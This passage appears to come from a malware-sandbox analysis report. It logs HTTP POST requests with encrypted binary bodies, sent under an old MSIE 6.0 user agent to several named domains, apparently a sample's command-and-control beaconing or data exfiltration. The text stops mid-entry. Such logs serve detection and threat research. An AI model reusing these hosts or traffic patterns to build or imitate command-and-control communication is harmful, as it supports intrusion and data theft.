Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fink.comCache-Control: no-cacheData Raw: 2f 70 38 55 64 52 68 4b 39 6c 69 79 6c 59 72 61 47 30 62 4f 48 67 75 78 78 2b 48 67 62 75 50 41 7a 46 61 73 4b 4c 53 6d 63 47 31 71 71 48 67 55 79 4d 66 65 2b 30 51 4a 4a 47 74 38 2f 57 49 78 36 41 33 52 2b 79 31 71 71 56 33 76 4c 53 77 67 35 30 35 6c 69 36 65 30 58 6f 2f 43 30 71 66 66 51 36 38 75 77 78 78 73 72 6d 58 42 65 77 67 31 45 44 6f 53 42 49 76 45 38 38 50 4b 41 6f 44 50 4e 4c 50 43 68 68 42 54 39 56 37 42 4f 69 64 34 41 6c 55 66 75 79 52 72 35 36 31 55 32 4f 75 71 39 65 67 38 75 6b 4f 49 77 6f 6f 5a 51 6c 5a 38 44 45 2f 6b 41 6c 6f 53 41 52 70 38 32 79 6b 53 65 73 47 6e 52 2f 36 6d 45 39 47 68 47 59 55 51 38 53 4d 36 6d 69 77 35 33 30 6b 67 38 71 48 6f 30 5a 4a 74 47 79 6b 37 75 57 32 72 33 59 35 47 75 4e 41 57 4e 62 71 46 59 45 53 47 30 52 4d 71 79 77 71 74 65 64 79 34 44 6f 56 43 55 35 34 6f 69 4e 39 5a 72 6d 6d 65 43 4e 38 2f 72 6b 57 44 64 57 6b 72 2b 47 68 63 74 77 62 44 42 6b 46 7a 30 73 79 49 4c 54 4c 4a 33 33 43 32 30 2b 6d 30 55 46 72 30 65 55 38 53 45 5a 42 2b 79 56 47 79 6c 56 64 58 67 44 74 51 32 33 6f 7a 2b 52 41 6b 6a 78 56 39 51 41 52 53 4a 6b 46 55 61 47 70 6c 67 59 4e 6e 34 73 68 66 66 77 55 7a 63 2b 7a 6a 41 37 68 65 52 72 71 46 5a 4a 42 37 35 55 6b 76 47 6b 55 47 6d 63 55 65 63 4d 65 6a 31 6a 64 71 42 6c 47 51 41 45 37 52 79 51 45 4a 74 73 45 42 66 7a 6f 51 55 35 69 50 79 63 6b 70 59 79 6f 79 79 64 66 2b 39 34 4f 67 73 43 5a 6b 6b 43 47 73 76 30 4e 53 59 69 52 78 34 4f 68 6e 37 72 48 66 6e 4d 74 67 4b 32 75 46 61 65 41 75 78 4d 49 32 6d 5a 37 5a 37 31 7a 51 39 63 32 4d 72 58 61 44 41 64 55 56 6a 63 45 49 73 6b 5a 4f 52 52 72 44 59 4f 78 4e 74 6b 61 76 41 54 36 6f 6b 35 37 36 69 61 47 4c 30 54 49 38 77 65 33 47 64 61 39 50 77 75 67 3d Data Ascii: /p8UdRhK9liylYraG0bOHguxx+HgbuPAzFasKLSmcG1qqHgUyMfe+0QJJGt8/WIx6A3R+y1qqV3vLSwg505li6e0Xo/C0qffQ68uwxxsrmXBewg1EDoSBIvE88PKAoDPNLPChhBT9V7BOid4AlUfuyRr561U2Ouq9eg8ukOIwooZQlZ8DE/kAloSARp82ykSesGnR/6mE9GhGYUQ8SM6miw530kg8qHo0ZJtGyk7uW2r3Y5GuNAWNbqFYESG0RMqywqtedy4DoVCU54oiN9ZrmmeCN8/rkWDdWkr+GhctwbDBkFz0syILTLJ33C20+m0UFr0eU8SEZB+yVGylVdXgDtQ23oz+RAkjxV9QARSJkFUaGplgYNn4shffwUzc+zjA7heRrqFZJB75UkvGkUGmcUecMej1jdqBlGQAE7RyQEJtsEBfzoQU5iPyckpYyoyydf+94OgsCZkkCGsv0NSYiRx4Ohn7rHfnMtgK2uFaeAuxMI2mZ7Z71zQ9c2MrXaDAdUVjcEIskZORRrDYOxNtkavAT6ok576iaGL0TI8we3Gda9Pwug=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.cel-cpa.comCache-Control: no-cacheData Raw: 76 46 6e 2f 4b 4b 79 2f 6a 51 34 41 49 62 55 4b 6c 7a 66 4d 4b 37 2b 44 5a 54 55 45 56 74 59 50 6f 4c 4f 44 64 5a 42 4e 4d 37 6e 36 64 76 58 2f 5a 42 2b 66 59 7a 65 54 4b 39 4b 33 79 6e 2b 6f 70 55 74 56 78 43 79 6a 47 77 75 7a 34 79 51 57 78 4b 68 49 53 42 77 44 63 49 52 53 4f 5a 46 67 6a 49 55 78 67 72 69 4e 31 59 61 54 38 53 6e 62 6c 71 4e 4d 4f 5a 63 52 5a 56 73 68 6e 63 37 65 45 38 58 4a 71 48 65 47 44 5a 6c 51 54 5a 54 37 4d 69 43 33 4c 6f 30 79 36 64 56 62 67 4e 68 58 37 6e 46 66 65 59 67 4a 70 71 67 6c 7a 79 4f 31 62 74 45 31 54 79 6b 39 6c 71 55 69 78 61 53 6e 5a 44 51 70 75 42 50 62 72 50 4b 41 72 45 67 32 48 32 50 2f 4c 65 2f 61 51 2f 38 36 45 33 30 49 41 4d 51 6d 50 6c 36 47 36 76 69 30 4d 73 65 36 43 64 4c 43 76 39 33 43 74 67 4f 6f 72 71 72 56 6a 32 31 6e 52 36 65 74 56 61 7a 47 47 65 75 39 72 68 52 2b 63 51 46 78 38 36 45 54 47 38 34 55 59 54 48 58 61 45 2b 30 36 72 62 6a 4c 36 65 47 4d 7a 73 69 6e 45 62 30 70 33 36 54 64 32 66 39 6f 2f 4e 6b 48 70 41 35 5a 72 54 35 50 51 74 2b 33 49 57 31 35 4b 32 73 73 49 45 4b 2b 79 7a 76 53 37 50 4f 2b 45 39 31 4d 70 53 51 41 59 41 70 49 62 49 65 41 72 48 34 56 61 57 35 58 66 74 4b 66 63 32 4b 4d 31 46 56 43 31 39 79 65 2b 63 50 4d 4d 34 58 31 4d 74 35 56 56 4f 43 4a 67 42 44 6f 70 77 74 51 79 71 37 44 31 50 70 67 34 41 78 59 34 50 56 66 4b 64 54 78 2b 59 62 70 51 47 36 66 76 72 70 72 72 79 6e 57 6d 33 6c 74 6c 6c 34 51 35 54 31 4e 68 56 66 79 77 31 76 55 51 62 4f 63 72 50 77 6b 76 64 47 75 30 39 71 74 4b 4b 4b 75 45 48 4a 54 2b 34 6d 53 31 57 68 46 38 56 2f 70 49 4c 45 79 36 39 78 47 32 39 71 46 4f 63 73 36 66 6c 4a 4c 31 30 77 49 62 6b 4f 4e 67 3d 3d Data Ascii: vFn/KKy/jQ4AIbUKlzfMK7+DZTUEVtYPoLODdZBNM7n6dvX/ZB+fYzeTK9K3yn+opUtVxCyjGwuz4yQWxKhISBwDcIRSOZFgjIUxgriN1YaT8SnblqNMOZcRZVshnc7eE8XJqHeGDZlQTZT7MiC3Lo0y6dVbgNhX7nFfeYgJpqglzyO1btE1Tyk9lqUixaSnZDQpuBPbrPKArEg2H2P/Le/aQ/86E30IAMQmPl6G6vi0Mse6CdLCv93CtgOorqrVj21nR6etVazGGeu9rhR+cQFx86ETG84UYTHXaE+06rbjL6eGMzsinEb0p36Td2f9o/NkHpA5ZrT5PQt+3IW15K2ssIEK+yzvS7PO+E91MpSQAYApIbIeArH4VaW5XftKfc2KM1FVC19ye+cPMM4X1Mt5VVOCJgBDopwtQyq7D1Ppg4AxY4PVfKdTx+YbpQG6fvrprrynWm3ltll4Q5T1NhVfyw1vUQbOcrPwkvdGu09qtKKKuEHJT+4mS1WhF8V/pILEy69xG29qFOcs6flJL10wIbkONg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ex-olive.comCache-Control: no-cacheData Raw: 42 64 57 4d 4d 37 78 36 41 67 39 78 2b 66 42 76 5a 78 62 53 2b 45 2b 39 4c 74 46 55 31 71 55 71 73 4e 2f 38 42 74 72 46 6a 39 66 38 43 78 61 35 65 35 42 77 71 48 30 73 37 6c 35 6b 6d 63 76 56 6a 47 43 51 6d 68 4c 59 45 63 65 33 76 4f 48 30 53 30 49 4a 74 48 36 69 56 45 53 49 4c 49 46 44 6c 33 38 74 43 59 33 54 74 37 46 79 58 46 72 56 48 78 77 71 4b 4b 48 45 32 4b 75 63 75 72 57 30 50 57 62 33 4d 4d 53 6d 6c 70 6f 62 77 59 77 51 39 6b 4e 71 69 51 31 38 35 4b 42 50 4a 51 67 6a 46 6c 30 6c 39 78 50 77 39 51 58 74 34 54 59 4f 49 38 53 4f 56 69 38 4d 42 5a 4a 61 32 30 56 68 4f 56 45 36 38 76 33 4c 4d 49 68 67 65 48 6d 35 56 41 6b 4f 58 4d 54 30 5a 48 4f 76 63 4b 67 75 4a 2b 65 6f 54 45 69 67 2f 6e 78 76 4c 66 66 47 34 4f 37 65 4a 53 33 4a 50 57 39 45 34 4b 54 6a 50 5a 78 56 6b 6e 2f 57 47 65 38 47 74 63 4a 44 48 55 79 55 59 64 77 62 6e 4e 73 46 2b 44 77 4e 45 79 38 58 63 30 44 71 50 56 4a 5a 78 38 46 70 69 41 48 61 6a 65 59 73 58 2f 4f 7a 4b 64 35 6a 44 63 56 30 33 6d 57 54 65 64 39 45 63 4b 36 5a 65 6d 4e 34 62 46 75 4c 79 77 2f 45 68 45 38 51 49 5a 72 4f 63 2f 33 79 32 6f 34 73 37 41 5a 34 48 32 65 6f 52 4a 4c 34 4e 7a 49 43 62 76 39 7a 44 2f 39 54 59 56 56 58 70 4e 2b 2f 30 6c 34 52 36 53 62 77 57 62 66 79 6b 4a 6b 56 35 42 50 43 48 78 36 53 41 67 37 7a 43 56 4d 63 61 48 6e 35 48 36 65 73 67 33 35 76 61 68 2f 4f 35 46 59 4c 67 36 62 5a 58 66 4c 50 4d 75 52 74 70 4d 52 59 6b 39 55 4e 74 65 4d 64 79 36 46 2b 39 4e 6e 4c 2f 55 46 75 6b 45 33 36 2b 51 66 79 6b 69 4c 43 2f 50 52 4d 78 70 35 33 68 4c 4a 62 58 6f 63 62 70 54 47 51 72 35 6a 6b 46 59 5a 53 34 4c 4b 57 6d 53 4b 2b 67 72 47 77 37 59 59 7a 55 77 4d 30 31 6f 32 62 70 53 69 62 57 2b 66 2f 30 34 59 55 6b 77 3d 3d Data Ascii: BdWMM7x6Ag9x+fBvZxbS+E+9LtFU1qUqsN/8BtrFj9f8Cxa5e5BwqH0s7l5kmcvVjGCQmhLYEce3vOH0S0IJtH6iVESILIFDl38tCY3Tt7FyXFrVHxwqKKHE2KucurW0PWb3MMSmlpobwYwQ9kNqiQ185KBPJQgjFl0l9xPw9QXt4TYOI8SOVi8MBZJa20VhOVE68v3LMIhgeHm5VAkOXMT0ZHOvcKguJ+eoTEig/nxvLffG4O7eJS3JPW9E4KTjPZxVkn/WGe8GtcJDHUyUYdwbnNsF+DwNEy8Xc0DqPVJZx8FpiAHajeYsX/OzKd5jDcV03mWTed9EcK6ZemN4bFuLyw/EhE8QIZrOc/3y2o4s7AZ4H2eoRJL4NzICbv9zD/9TYVVXpN+/0l4R6SbwWbfykJkV5BPCHx6SAg7zCVMcaHn5H6esg35vah/O5FYLg6bZXfLPMuRtpMRYk9UNteMdy6F+9NnL/UFukE36+QfykiLC/PRMxp53hLJbXocbpTGQr5jkFYZS4LKWmSK+grGw7YYzUwM01o2bpSibW+f/04YUkw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fink.comCache-Control: no-cacheData Raw: 32 64 69 6a 4a 39 39 55 6e 67 37 2b 4d 33 44 76 50 68 77 52 57 6d 68 57 48 6d 36 31 65 74 77 6e 67 7a 71 6a 78 56 6b 6a 4f 64 66 38 49 46 4b 73 6d 4e 58 48 53 6c 4e 61 72 62 34 48 4a 54 4c 6f 4c 37 76 77 31 78 53 31 71 47 6c 38 53 50 53 64 6d 51 35 4c 54 66 50 50 79 5a 4c 62 74 65 7a 34 57 41 6a 45 6d 68 34 68 46 5a 44 32 57 37 6a 33 7a 71 2b 4d 6a 64 42 5a 4d 6e 6a 72 49 49 30 75 38 72 72 6f 2f 4d 34 70 45 79 61 6d 58 72 33 49 6b 74 48 37 78 59 58 34 4f 39 64 6c 48 52 54 32 7a 7a 62 59 4c 61 4d 51 6f 72 76 46 72 7a 56 46 32 7a 2b 61 54 47 4d 59 6f 50 35 7a 43 6f 42 76 71 6a 74 61 30 74 31 44 56 49 57 55 42 30 67 37 5a 6e 43 62 4b 36 36 4e 56 68 33 4d 2b 73 41 62 6e 36 30 30 67 38 48 50 59 41 70 73 74 65 62 55 35 51 30 4b 75 30 75 4e 6f 6c 7a 53 50 52 77 65 45 65 49 35 77 38 70 7a 45 79 6d 4e 32 70 37 2f 6a 4d 31 4c 72 6b 66 38 35 35 51 44 2f 38 59 6a 74 78 6b 6e 48 7a 73 6b 34 7a 75 58 45 78 4c 66 67 58 34 67 38 32 56 41 47 74 69 70 66 39 37 58 2f 35 78 63 4a 73 50 46 51 45 51 39 66 41 59 6e 62 59 70 54 63 59 50 4b 46 49 4c 75 42 66 47 51 59 36 34 32 70 5a 73 52 36 73 71 36 6b 6b 58 34 34 6d 61 36 78 4c 4e 38 39 52 73 4f 56 76 51 6e 4d 79 73 6f 4f 36 38 31 31 33 56 5a 53 76 47 61 6c 34 6b 52 6f 50 77 69 6c 59 30 56 51 68 51 58 64 63 51 37 56 78 4f 39 2b 72 77 38 79 68 43 4a 44 44 58 70 30 69 6a 6a 33 35 71 6e 58 79 6c 34 6e 37 46 4c 37 4a 4a 4d 51 2b 38 68 4b 2b 72 35 49 30 31 47 77 31 61 4e 7a 4a 35 53 6b 35 56 51 4d 48 63 79 53 62 35 62 6a 5a 4b 43 36 37 63 4b 36 65 38 67 67 32 32 33 30 50 78 7a 66 69 62 33 68 54 67 55 4c 67 6a 33 71 56 50 43 32 68 54 45 6b 4d 32 70 4d 4e 6e 30 4e 34 41 6b 7a 46 54 47 76 35 43 48 70 68 2b 5a 41 55 6f 61 6e 42 52 52 55 36 4e 69 47 4f 76 50 4b 64 45 59 38 7a 4f 2f 75 70 50 4f 72 2f 49 3d Data Ascii: 2dijJ99Ung7+M3DvPhwRWmhWHm61etwngzqjxVkjOdf8IFKsmNXHSlNarb4HJTLoL7vw1xS1qGl8SPSdmQ5LTfPPyZLbtez4WAjEmh4hFZD2W7j3zq+MjdBZMnjrII0u8rro/M4pEyamXr3IktH7xYX4O9dlHRT2zzbYLaMQorvFrzVF2z+aTGMYoP5zCoBvqjta0t1DVIWUB0g7ZnCbK66NVh3M+sAbn600g8HPYApstebU5Q0Ku0uNolzSPRweEeI5w8pzEymN2p7/jM1Lrkf855QD/8YjtxknHzsk4zuXExLfgX4g82VAGtipf97X/5xcJsPFQEQ9fAYnbYpTcYPKFILuBfGQY642pZsR6sq6kkX44ma6xLN89RsOVvQnMysoO68113VZSvGal4kRoPwilY0VQhQXdcQ7VxO9+rw8yhCJDDXp0ijj35qnXyl4n7FL7JJMQ+8hK+r5I01Gw1aNzJ5Sk5VQMHcySb5bjZKC67cK6e8gg2230Pxzfib3hTgULgj3qVPC2hTEkM2pMNn0N4AkzFTGv5CHph+ZAUoanBRRU6NiGOvPKdEY8zO/upPOr/I=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fink.comCache-Control: no-cacheData Raw: 32 64 69 6a 4a 39 39 55 6e 67 37 2b 4d 33 44 76 50 68 77 52 57 6d 68 57 48 6d 36 31 65 74 77 6e 67 7a 71 6a 78 56 6b 6a 4f 64 66 38 49 46 4b 73 6d 4e 58 48 53 6c 4e 61 72 62 34 48 4a 54 4c 6f 4c 37 76 77 31 78 53 31 71 47 6c 38 53 50 53 64 6d 51 35 4c 54 66 50 50 79 5a 4c 62 74 65 7a 34 57 41 6a 45 6d 68 34 68 46 5a 44 32 57 37 6a 33 7a 71 2b 4d 6a 64 42 5a 4d 6e 6a 72 49 49 30 75 38 72 72 6f 2f 4d 34 70 45 79 61 6d 58 72 33 49 6b 74 48 37 78 59 58 34 4f 39 64 6c 48 52 54 32 7a 7a 62 59 4c 61 4d 51 6f 72 76 46 72 7a 56 46 32 7a 2b 61 54 47 4d 59 6f 50 35 7a 43 6f 42 76 71 6a 74 61 30 74 31 44 56 49 57 55 42 30 67 37 5a 6e 43 62 4b 36 36 4e 56 68 33 4d 2b 73 41 62 6e 36 30 30 67 38 48 50 59 41 70 73 74 65 62 55 35 51 30 4b 75 30 75 4e 6f 6c 7a 53 50 52 77 65 45 65 49 35 77 38 70 7a 45 79 6d 4e 32 70 37 2f 6a 4d 31 4c 72 6b 66 38 35 35 51 44 2f 38 59 6a 74 78 6b 6e 48 7a 73 6b 34 7a 75 58 45 78 4c 66 67 58 34 67 38 32 56 41 47 74 69 70 66 39 37 58 2f 35 78 63 4a 73 50 46 51 45 51 39 66 41 59 6e 62 59 70 54 63 59 50 4b 46 49 4c 75 42 66 47 51 59 36 34 32 70 5a 73 52 36 73 71 36 6b 6b 58 34 34 6d 61 36 78 4c 4e 38 39 52 73 4f 56 76 51 6e 4d 79 73 6f 4f 36 38 31 31 33 56 5a 53 76 47 61 6c 34 6b 52 6f 50 77 69 6c 59 30 56 51 68 51 58 64 63 51 37 56 78 4f 39 2b 72 77 38 79 68 43 4a 44 44 58 70 30 69 6a 6a 33 35 71 6e 58 79 6c 34 6e 37 46 4c 37 4a 4a 4d 51 2b 38 68 4b 2b 72 35 49 30 31 47 77 31 61 4e 7a 4a 35 53 6b 35 56 51 4d 48 63 79 53 62 35 62 6a 5a 4b 43 36 37 63 4b 36 65 38 67 67 32 32 33 30 50 78 7a 66 69 62 33 68 54 67 55 4c 67 6a 33 71 56 50 43 32 68 54 45 6b 4d 32 70 4d 4e 6e 30 4e 34 41 6b 7a 46 54 47 76 35 43 48 70 68 2b 5a 41 55 6f 61 6e 42 52 52 55 36 4e 69 47 4f 76 50 4b 64 45 59 38 7a 4f 2f 75 70 50 4f 72 2f 49 3d Data Ascii: 2dijJ99Ung7+M3DvPhwRWmhWHm61etwngzqjxVkjOdf8IFKsmNXHSlNarb4HJTLoL7vw1xS1qGl8SPSdmQ5LTfPPyZLbtez4WAjEmh4hFZD2W7j3zq+MjdBZMnjrII0u8rro/M4pEyamXr3IktH7xYX4O9dlHRT2zzbYLaMQorvFrzVF2z+aTGMYoP5zCoBvqjta0t1DVIWUB0g7ZnCbK66NVh3M+sAbn600g8HPYApstebU5Q0Ku0uNolzSPRweEeI5w8pzEymN2p7/jM1Lrkf855QD/8YjtxknHzsk4zuXExLfgX4g82VAGtipf97X/5xcJsPFQEQ9fAYnbYpTcYPKFILuBfGQY642pZsR6sq6kkX44ma6xLN89RsOVvQnMysoO68113VZSvGal4kRoPwilY0VQhQXdcQ7VxO9+rw8yhCJDDXp0ijj35qnXyl4n7FL7JJMQ+8hK+r5I01Gw1aNzJ5Sk5VQMHcySb5bjZKC67cK6e8gg2230Pxzfib3hTgULgj3qVPC2hTEkM2pMNn0N4AkzFTGv5CHph+ZAUoanBRRU6NiGOvPKdEY8zO/upPOr/I=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fe-bauer.deCache-Control: no-cacheData Raw: 48 46 57 56 4c 58 59 38 6d 6c 6b 43 45 55 67 67 30 51 6e 68 4a 42 6c 35 72 4b 2b 57 71 35 54 6d 43 71 69 71 55 62 41 55 51 4e 34 76 44 67 47 72 6e 7a 39 68 74 6f 61 58 64 74 6a 6a 62 31 30 4a 75 64 55 50 6e 54 43 6b 42 7a 46 47 4f 41 45 4b 5a 54 45 44 6d 43 47 68 31 72 50 6d 6b 39 6a 42 4c 57 6d 46 65 71 5a 63 4c 4a 6c 51 46 69 41 78 73 55 62 61 38 52 31 67 66 75 55 57 77 51 78 6a 45 6b 51 6e 6d 78 49 74 44 75 32 6c 71 52 2f 6a 79 69 72 49 34 74 63 38 70 6a 46 37 53 36 2b 44 47 66 51 41 51 7a 74 6e 38 35 69 43 6b 2b 64 6a 58 35 59 2f 2f 57 30 48 38 51 65 6d 53 57 37 30 30 70 73 4e 68 47 6e 43 50 50 36 73 66 61 42 76 67 6b 6f 62 57 30 46 63 4e 70 50 56 2b 45 52 70 75 2b 6d 52 71 6f 47 77 65 63 38 56 4d 59 30 61 4a 4d 55 79 36 37 4f 38 56 4b 44 58 63 4f 41 70 68 65 42 33 37 70 71 6f 69 47 30 58 4f 61 74 61 66 37 64 49 65 43 74 56 52 5a 54 71 34 79 32 4d 6e 58 6e 44 39 54 61 45 33 31 2f 69 78 36 4e 7a 63 58 67 68 4e 71 59 50 51 64 45 46 36 6c 54 61 65 76 79 42 4d 4c 31 6f 6e 67 31 4e 65 2f 6a 46 47 62 2f 4c 39 31 62 6b 70 4e 31 34 57 4c 51 73 44 42 6d 4f 2b 48 47 6d 63 41 42 76 50 46 77 38 35 69 55 6f 37 6d 39 6f 58 35 41 68 68 71 55 2f 65 4a 51 79 2f 54 48 2b 44 51 42 2f 54 45 78 72 55 37 67 6d 30 70 6e 57 34 2f 74 74 6e 42 52 54 38 50 39 4d 30 2b 59 33 47 47 67 69 49 69 6a 54 6f 57 31 68 51 73 41 31 4c 54 43 6b 6a 45 34 55 73 42 48 62 72 47 4a 42 2b 76 37 42 38 61 6c 72 49 4d 59 55 59 73 37 4e 38 4b 55 44 47 62 4e 37 5a 39 2b 54 46 6b 66 37 6f 4e 59 66 57 69 35 48 4c 71 4f 6b 61 31 45 69 36 6b 69 6e 5a 2b 37 53 4a 77 44 50 77 43 4c 72 78 67 6e 4d 6f 76 47 54 38 4b 43 44 2b 76 49 31 30 64 67 4e 74 67 3d 3d Data Ascii: HFWVLXY8mlkCEUgg0QnhJBl5rK+Wq5TmCqiqUbAUQN4vDgGrnz9htoaXdtjjb10JudUPnTCkBzFGOAEKZTEDmCGh1rPmk9jBLWmFeqZcLJlQFiAxsUba8R1gfuUWwQxjEkQnmxItDu2lqR/jyirI4tc8pjF7S6+DGfQAQztn85iCk+djX5Y//W0H8QemSW700psNhGnCPP6sfaBvgkobW0FcNpPV+ERpu+mRqoGwec8VMY0aJMUy67O8VKDXcOApheB37pqoiG0XOataf7dIeCtVRZTq4y2MnXnD9TaE31/ix6NzcXghNqYPQdEF6lTaevyBML1ong1Ne/jFGb/L91bkpN14WLQsDBmO+HGmcABvPFw85iUo7m9oX5AhhqU/eJQy/TH+DQB/TExrU7gm0pnW4/ttnBRT8P9M0+Y3GGgiIijToW1hQsA1LTCkjE4UsBHbrGJB+v7B8alrIMYUYs7N8KUDGbN7Z9+TFkf7oNYfWi5HLqOka1Ei6kinZ+7SJwDPwCLrxgnMovGT8KCD+vI10dgNtg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jchysk.comCache-Control: no-cacheData Raw: 49 48 44 4b 4e 6d 53 47 47 77 38 37 78 61 58 32 2f 35 34 6b 47 44 66 54 70 34 59 63 66 35 5a 65 32 41 6b 59 47 63 2f 62 33 31 6a 32 7a 36 68 39 38 47 4f 57 41 51 42 67 6f 73 61 79 48 46 43 74 5a 67 70 78 4e 70 44 77 57 69 34 71 76 73 44 4c 6b 32 37 4f 34 49 76 51 66 2f 63 72 6f 72 4d 43 63 45 54 4a 54 2b 43 47 5a 66 6c 4a 6e 39 46 5a 4b 2f 4f 56 61 4f 69 31 56 4c 47 67 33 2f 39 31 46 32 33 30 46 42 67 74 30 64 57 2b 2b 66 62 51 37 65 73 64 4b 79 71 56 35 66 31 33 61 75 59 57 4b 70 78 4a 39 74 71 79 55 78 78 31 6b 2f 51 76 72 55 54 70 4a 37 50 42 78 4c 4d 52 73 33 66 2f 76 46 64 33 2f 38 6b 2b 53 74 55 7a 75 43 35 4b 35 37 7a 61 52 37 53 30 37 54 34 57 6e 2f 76 7a 72 6f 52 31 62 36 4a 63 4e 52 61 43 38 62 6b 73 31 62 63 50 43 70 4b 72 6a 59 78 32 4e 34 5a 42 64 67 72 78 4a 33 4f 74 58 46 6a 55 44 68 66 64 6a 48 72 75 46 64 51 4a 70 51 6a 6f 54 59 43 67 53 46 39 68 69 78 61 47 5a 57 49 6d 6d 79 45 33 34 65 42 50 6e 78 4e 4d 5a 34 55 79 43 4c 43 63 55 57 6b 69 41 43 55 59 4c 50 44 63 45 73 38 73 41 34 61 45 78 7a 78 69 31 37 6d 69 42 2f 71 37 74 79 51 63 73 4e 4f 6d 65 43 6e 75 51 72 69 30 32 47 4f 44 51 45 66 4d 73 37 53 45 4a 6d 56 62 38 32 2f 75 33 4c 65 48 6d 75 33 34 74 4d 65 32 70 37 56 4c 76 6e 73 52 45 4d 79 65 59 4a 57 61 75 5a 6c 4f 62 55 50 33 4b 4a 2b 64 32 48 59 61 4c 4f 59 59 59 38 7a 55 70 7a 32 51 78 36 5a 4a 69 59 74 6e 35 7a 6e 38 47 31 54 78 35 39 51 41 42 2b 4e 69 6b 4e 63 59 4d 67 55 66 63 70 76 63 67 39 44 72 4d 76 6f 50 39 45 71 41 4c 73 37 66 48 4a 38 47 6f 34 4d 6d 45 6f 6b 6d 7a 63 69 6f 69 67 73 78 69 62 63 67 73 7a 78 73 31 4b 5a 7a 53 2f 6a 36 54 47 7a 2f 4a 6f 64 6b 53 2b 45 33 74 41 3d 3d Data Ascii: IHDKNmSGGw87xaX2/54kGDfTp4Ycf5Ze2AkYGc/b31j2z6h98GOWAQBgosayHFCtZgpxNpDwWi4qvsDLk27O4IvQf/crorMCcETJT+CGZflJn9FZK/OVaOi1VLGg3/91F230FBgt0dW++fbQ7esdKyqV5f13auYWKpxJ9tqyUxx1k/QvrUTpJ7PBxLMRs3f/vFd3/8k+StUzuC5K57zaR7S07T4Wn/vzroR1b6JcNRaC8bks1bcPCpKrjYx2N4ZBdgrxJ3OtXFjUDhfdjHruFdQJpQjoTYCgSF9hixaGZWImmyE34eBPnxNMZ4UyCLCcUWkiACUYLPDcEs8sA4aExzxi17miB/q7tyQcsNOmeCnuQri02GODQEfMs7SEJmVb82/u3LeHmu34tMe2p7VLvnsREMyeYJWauZlObUP3KJ+d2HYaLOYYY8zUpz2Qx6ZJiYtn5zn8G1Tx59QAB+NikNcYMgUfcpvcg9DrMvoP9EqALs7fHJ8Go4MmEokmzcioigsxibcgszxs1KZzS/j6TGz/JodkS+E3tA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.lrsuk.comCache-Control: no-cacheData Raw: 66 62 66 54 6b 79 39 2f 74 6c 6c 57 47 73 68 34 54 69 4c 33 37 44 67 42 78 79 46 46 75 32 4f 50 30 32 46 52 37 4c 55 2b 73 76 2f 4f 52 62 58 36 77 46 2b 4c 33 63 36 33 56 79 63 56 38 53 44 76 69 52 47 64 38 56 62 31 6d 4b 50 66 36 65 61 66 50 44 4d 55 52 77 4f 45 6b 73 61 4b 66 6b 78 34 4a 42 77 6c 59 6b 53 74 6c 4e 62 79 46 37 79 6c 37 41 74 4a 41 4c 39 64 32 76 37 43 2f 76 70 64 64 66 51 48 49 37 52 39 66 6d 52 4b 54 66 54 6e 62 64 59 5a 68 73 36 73 62 77 44 43 49 45 31 49 35 52 76 41 6b 47 71 4d 4d 6c 62 6f 38 6f 65 76 31 49 32 47 42 66 4b 37 31 32 6a 6e 74 54 47 35 46 49 50 4d 33 5a 55 4e 46 33 32 6f 49 65 6b 4c 71 69 63 69 62 69 67 77 67 61 52 47 6a 44 35 2f 64 62 43 32 50 4e 37 65 2b 62 33 74 49 79 72 4e 65 6e 72 31 48 74 52 68 72 65 54 43 47 4e 75 49 4f 67 64 53 42 47 61 33 64 77 6b 44 36 79 6b 63 74 67 53 78 66 50 74 6c 50 74 32 68 31 57 46 4a 56 76 4f 6b 4c 73 5a 42 38 68 6e 48 78 49 49 75 50 51 2f 7a 64 48 70 42 70 4f 4e 46 51 2b 45 66 78 31 65 6a 37 58 51 39 58 4a 57 65 35 4e 52 50 50 62 72 6f 71 78 54 33 52 43 4a 7a 34 75 36 56 57 72 74 75 6a 58 67 4a 44 4a 64 67 38 34 61 69 77 6b 49 54 46 72 78 69 32 6b 62 4d 35 6a 45 5a 51 39 4e 76 66 43 31 58 4b 57 31 35 62 6c 62 32 32 4e 48 36 6b 49 53 63 54 69 59 69 56 72 76 45 58 76 71 4c 56 4a 34 79 6c 69 52 61 72 57 72 73 6b 51 6f 54 66 7a 50 64 72 70 43 62 33 65 54 39 77 30 4a 74 55 56 74 74 43 42 5a 50 72 2f 50 73 70 74 48 7a 6a 48 46 61 6f 65 4b 79 63 58 62 6b 74 4a 35 70 36 71 30 44 73 58 4e 78 74 64 52 45 6d 49 56 34 6e 72 53 71 64 78 6c 70 49 35 72 62 68 49 70 42 43 54 50 6c 34 55 34 33 52 54 70 2b 46 72 39 64 35 48 6b 55 55 31 4f 4f 74 51 42 33 6e 70 6b 6c 59 59 57 35 56 52 36 56 69 70 63 51 5a 75 47 36 4c 54 68 46 72 72 2f 6f 35 35 74 65 64 4e 54 74 50 71 